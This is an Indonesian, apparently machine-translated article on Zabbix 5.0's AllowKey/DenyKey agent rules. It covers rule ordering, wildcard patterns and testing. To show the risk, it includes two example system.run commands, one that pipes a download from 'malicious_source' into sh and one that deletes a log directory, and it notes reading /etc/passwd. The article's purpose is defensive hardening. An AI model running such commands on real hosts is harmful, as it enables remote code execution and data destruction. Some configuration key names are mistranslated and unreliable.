Dukungan daftar hitam dan daftar putih untuk metrik sisi agen di Zabbix 5.0

Dukungan daftar hitam dan daftar putih untuk metrik sisi agen di Zabbix 5.0

Dukungan daftar hitam dan daftar putih untuk metrik sisi agen

Tikhon Uskov, Insinyur Integrasi, Zabbix

Masalah keamanan data

Zabbix 5.0 memiliki fitur baru yang memungkinkan Anda meningkatkan keamanan dalam sistem menggunakan Agen Zabbix dan menggantikan parameter lama AktifkanRemoteCommands.

Peningkatan keamanan sistem berbasis agen berasal dari fakta bahwa agen dapat melakukan sejumlah besar tindakan yang berpotensi membahayakan.

  • Agen dapat mengumpulkan hampir semua informasi, termasuk informasi rahasia atau berpotensi berbahaya, dari file konfigurasi, file log, file kata sandi, atau file lainnya.

Misalnya, dengan menggunakan utilitas zabbix_get Anda dapat mengakses daftar pengguna, direktori home mereka, file kata sandi, dll.

Dukungan daftar hitam dan daftar putih untuk metrik sisi agen di Zabbix 5.0

Mengakses data menggunakan utilitas zabbix_get

CATATAN. Data hanya dapat diambil jika agen memiliki izin membaca pada file terkait. Tapi, misalnya file /etc/passwd/ dapat dibaca oleh semua pengguna.

  • Agen juga dapat menjalankan perintah yang berpotensi berbahaya. Misalnya, kunci *sistem.jalankan[]** memungkinkan Anda menjalankan perintah jarak jauh apa pun pada node jaringan, termasuk menjalankan skrip dari antarmuka web Zabbix yang juga menjalankan perintah di sisi agen.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • Di Linux, agen berjalan secara default tanpa hak root, sedangkan di Windows berjalan sebagai layanan sebagai Sistem dan memiliki akses tidak terbatas ke sistem file. Oleh karena itu, jika tidak ada perubahan yang dilakukan pada parameter Agen Zabbix setelah instalasi, agen memiliki akses ke registri, sistem file, dan dapat menjalankan kueri WMI.

Di versi sebelumnya parameternya AktifkanPerintah Jarak Jauh=0 hanya diperbolehkan menonaktifkan metrik dengan kunci *sistem.jalankan[]** dan menjalankan skrip dari antarmuka web, tetapi tidak ada cara untuk membatasi akses ke file individual, mengizinkan atau menonaktifkan kunci individual yang diinstal dengan agen, atau membatasi penggunaan parameter individual.

Dukungan daftar hitam dan daftar putih untuk metrik sisi agen di Zabbix 5.0

Menggunakan parameter EnableRemoteCommand di versi Zabbix yang lebih lama

IzinkanKey/TolakKey

Zabbix 5.0 membantu melindungi terhadap akses tidak sah tersebut dengan menyediakan daftar putih dan daftar hitam untuk mengizinkan dan menolak metrik di sisi agen.

Di Zabbix 5.0 semua kunci, termasuk *sistem.jalankan[]** diaktifkan, dan dua opsi konfigurasi agen baru telah ditambahkan:

IzinkanKunci= β€” pemeriksaan yang diizinkan;

TolakKey= β€” pemeriksaan terlarang;

dimana pola nama kunci dengan parameter yang menggunakan metakarakter (*).

Kunci AllowKey dan DenyKey memungkinkan Anda mengizinkan atau menolak metrik individual berdasarkan pola tertentu. Tidak seperti parameter konfigurasi lainnya, jumlah parameter AllowKey/DenyKey tidak dibatasi. Hal ini memungkinkan Anda untuk mendefinisikan dengan jelas apa sebenarnya yang dapat dilakukan agen dalam sistem dengan membuat pohon pemeriksaan - kunci yang dapat dieksekusi, di mana urutan penulisannya memainkan peran yang sangat penting.

Urutan aturan

Aturan diperiksa sesuai urutan yang dimasukkan ke dalam file konfigurasi. Kuncinya diperiksa sesuai aturan sebelum kecocokan pertama, dan segera setelah kunci elemen data cocok dengan polanya, kunci tersebut diizinkan atau ditolak. Setelah ini, pemeriksaan aturan berhenti dan kunci yang tersisa diabaikan.

Oleh karena itu, jika suatu elemen cocok dengan aturan izinkan dan tolak, hasilnya akan bergantung pada aturan mana yang pertama kali ada di file konfigurasi.

Dukungan daftar hitam dan daftar putih untuk metrik sisi agen di Zabbix 5.0

2 aturan berbeda dengan pola dan kunci yang sama vfs.file.ukuran[/tmp/file]

Urutan penggunaan kunci AllowKey/DenyKey:

  1. aturan yang tepat,
  2. aturan umum,
  3. aturan yang melarang.

Misalnya, jika Anda memerlukan akses ke file dalam folder tertentu, Anda harus mengizinkan akses ke file tersebut terlebih dahulu, lalu menolak semua hal lain yang tidak termasuk dalam izin yang ditetapkan. Jika aturan penolakan digunakan terlebih dahulu, akses ke folder tersebut akan ditolak.

Dukungan daftar hitam dan daftar putih untuk metrik sisi agen di Zabbix 5.0

Urutan yang benar

Jika Anda perlu mengizinkan 2 utilitas dijalankan melalui *sistem.jalankan[]**, dan aturan penolakan akan ditentukan terlebih dahulu, utilitas tidak akan diluncurkan, karena pola pertama akan selalu cocok dengan kunci apa pun, dan aturan selanjutnya akan diabaikan.

Dukungan daftar hitam dan daftar putih untuk metrik sisi agen di Zabbix 5.0

Urutan yang salah

Pola

Fundamental aturan

Pola adalah ekspresi dengan wildcard. Metakarakter (*) cocok dengan sejumlah karakter apa pun pada posisi tertentu. Metakarakter dapat digunakan baik dalam nama kunci maupun parameter. Misalnya, Anda dapat secara ketat menentukan parameter pertama dengan teks, dan tentukan yang berikutnya sebagai wildcard.

Parameter harus diapit tanda kurung siku [].

  • system.run[* - salah
  • vfs.file*.txt] - salah
  • vfs.file.*[*] - Baik

Contoh penggunaan wildcard.

  1. Dalam nama kunci dan parameter. Dalam hal ini, kunci tersebut tidak sesuai dengan kunci serupa yang tidak berisi parameter, karena dalam pola kami menunjukkan bahwa kami ingin menerima akhiran tertentu dari nama kunci dan serangkaian parameter tertentu.
  2. Jika pola tidak menggunakan tanda kurung siku, pola tersebut mengizinkan semua kunci yang tidak berisi parameter dan menolak semua kunci yang berisi parameter yang ditentukan.
  3. Jika kunci ditulis secara lengkap dan parameternya ditentukan sebagai wildcard, kunci tersebut akan cocok dengan kunci serupa dengan parameter apa pun dan tidak akan cocok dengan kunci tanpa tanda kurung siku, yaitu akan diizinkan atau ditolak.

Dukungan daftar hitam dan daftar putih untuk metrik sisi agen di Zabbix 5.0

Aturan untuk mengisi parameter.

  • Jika kunci dengan parameter dimaksudkan untuk digunakan, parameter tersebut harus ditentukan dalam file konfigurasi. Parameter harus ditentukan sebagai metakarakter. Penting untuk menolak akses ke file apa pun dengan hati-hati dan mempertimbangkan informasi apa yang dapat diberikan metrik dalam ejaan yang berbeda - dengan dan tanpa parameter.

Dukungan daftar hitam dan daftar putih untuk metrik sisi agen di Zabbix 5.0

Fitur penulisan kunci dengan parameter

  • Jika kunci ditentukan dengan parameter, tetapi parameter tersebut opsional dan ditentukan sebagai karakter meta, kunci tanpa parameter akan diselesaikan. Misalnya, jika Anda ingin menonaktifkan penerimaan informasi tentang beban pada CPU dan menentukan bahwa kunci system.cpu.load[*] harus dinonaktifkan, jangan lupa bahwa kunci tanpa parameter akan mengembalikan nilai beban rata-rata.

Dukungan daftar hitam dan daftar putih untuk metrik sisi agen di Zabbix 5.0

Aturan untuk mengisi parameter

Catatan

pengaturan

  • Beberapa aturan tidak dapat diubah oleh pengguna, misalnya aturan penemuan atau aturan pendaftaran otomatis agen. Aturan AllowKey/DenyKey tidak memengaruhi parameter berikut:
    - Nama HostItem
    - HostMetadataItem
    - HostInterfaceItem

CATATAN. Jika administrator menonaktifkan kunci, ketika ditanya, Zabbix tidak memberikan informasi tentang mengapa metrik atau kunci tersebut termasuk dalam kategori 'TIDAK DIDUKUNG'. Informasi tentang larangan menjalankan perintah jarak jauh juga tidak ditampilkan di file log agen. Hal ini demi alasan keamanan, namun dapat mempersulit proses debug jika metrik termasuk dalam kategori yang tidak didukung karena alasan tertentu.

  • Anda tidak boleh bergantung pada urutan tertentu untuk menghubungkan file konfigurasi eksternal (misalnya, dalam urutan abjad).

Utilitas Baris Perintah

Setelah menyiapkan aturan, Anda perlu memastikan semuanya dikonfigurasi dengan benar.

Anda dapat menggunakan salah satu dari tiga opsi:

  • Tambahkan metrik ke Zabbix.
  • Uji dengan zabbix_agentd. Agen Zabbix dengan opsi -cetak (-p) menampilkan semua kunci (yang diperbolehkan secara default) kecuali yang tidak diperbolehkan oleh konfigurasi. Dan dengan pilihan -tes (-t) untuk kunci terlarang akan kembali 'Kunci item tidak didukung'.
  • Uji dengan zabbix_get. Kegunaan zabbix_get dengan opsi -k akan kembali 'ZBX_NOTSUPPORTED: Metrik tidak diketahui'.

Izinkan atau tolak

Anda dapat menolak akses ke file dan memverifikasi, misalnya, menggunakan utilitas zabbix_getbahwa akses ke file ditolak.

Dukungan daftar hitam dan daftar putih untuk metrik sisi agen di Zabbix 5.0

**

CATATAN. Kutipan dalam parameter diabaikan.

Dalam hal ini, akses ke file tersebut mungkin diizinkan melalui jalur yang berbeda. Misalnya, jika symlink mengarah ke sana.

Dukungan daftar hitam dan daftar putih untuk metrik sisi agen di Zabbix 5.0

Disarankan untuk memeriksa berbagai opsi untuk menerapkan aturan ini, dan juga mempertimbangkan kemungkinan untuk menghindari larangan tersebut.

Pertanyaan dan Jawaban

Pertanyaan. Mengapa pola rumit dengan bahasanya sendiri dipilih untuk menggambarkan aturan, izin, dan larangan? Mengapa tidak mungkin menggunakan, misalnya, ekspresi reguler yang digunakan Zabbix?

Menjawab. Ini adalah masalah kinerja regex karena biasanya hanya ada satu agen dan memeriksa sejumlah besar metrik. Regex adalah operasi yang cukup berat dan kami tidak dapat memeriksa ribuan metrik dengan cara ini. Wildcard - solusi universal, banyak digunakan dan sederhana.

Pertanyaan. Bukankah file Sertakan disertakan dalam urutan abjad?

Menjawab. Sejauh yang saya tahu, hampir tidak mungkin untuk memprediksi urutan penerapan aturan jika Anda menyebarkan aturan ke berbagai file. Saya sarankan mengumpulkan semua aturan AllowKey/DenyKey dalam satu file Sertakan, karena mereka berinteraksi satu sama lain, dan termasuk file ini.

Pertanyaan. Di Zabbix 5.0 opsi 'AktifkanPerintah Jarak Jauh=' hilang dari file konfigurasi, dan hanya AllowKey/DenyKey yang tersedia?

Menjawab. ya itu betul.

Terima kasih!

Sumber: www.habr.com

Tambah komentar